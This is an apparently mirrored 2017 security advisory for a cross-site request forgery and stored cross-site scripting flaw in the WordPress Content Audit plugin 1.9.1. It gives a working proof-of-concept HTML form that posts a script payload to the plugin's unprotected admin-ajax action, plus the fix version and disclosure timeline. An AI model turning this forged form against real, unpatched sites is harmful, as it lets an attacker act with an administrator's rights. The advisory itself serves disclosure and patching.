WordPress Content Audit 1.9.1 Cross Site Request Forgery / Cross Site Scripting

2017-09-28T00:00:00
ID PACKETSTORM:144380
Type packetstorm
Reporter Tom Adams
Modified 2017-09-28T00:00:00

Description

                                        
                                            `Details  
================  
Software: Content Audit  
Version: 1.9.1  
Homepage: https://wordpress.org/plugins/content-audit/  
Advisory report: https://security.dxw.com/advisories/csrf-xss-content-audit/  
CVE: Awaiting assignment  
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)  
  
Description  
================  
CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost anything an admin can  
  
Vulnerability  
================  
The plugin contains an admin_ajax action which is not protected with a nonce. One of the values submitted appears unescaped on the list of pages.  
  
Proof of concept  
================  
  
Install/activate the plugin  
Make sure you have a post with ID=2 (or edit the HTML provided below)  
Settings > Content Audit > select at least aPagesa for aAudited content typesa  
Visit a page containing the below HTML  
Click submit  
VisitA http://localhost/wp-admin/edit.php?post_type=page to receive the XSS payload  
  
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=content_audit_save_bulk_edit\">  
<input type=\"text\" name=\"post_ids[]\" value=\"2\">  
<input type=\"text\" name=\"_content_audit_owner\" value=\"Elliot Alderson\">  
<input type=\"text\" name=\"_content_audit_expiration_date\" value=\"2020-01-01\">  
<input type=\"text\" name=\"_content_audit_notes\" value=\"<script>alert(1)</script>\">  
<input type=\"submit\">  
</form>  
A   
  
Mitigations  
================  
Upgrade to version 1.9.2 or later.  
  
Disclosure policy  
================  
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/  
  
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.  
  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
  
Timeline  
================  
  
2017-08-21: Discovered  
2017-09-08: Reported to vendor by email  
2017-09-08: First response from vendor  
2017-09-08: Vendor reports fixed in 1.9.2  
2017-09-26: Advisory published  
  
  
  
Discovered by dxw:  
================  
Tom Adams  
Please visit security.dxw.com for more information.  
  
  
  
  
`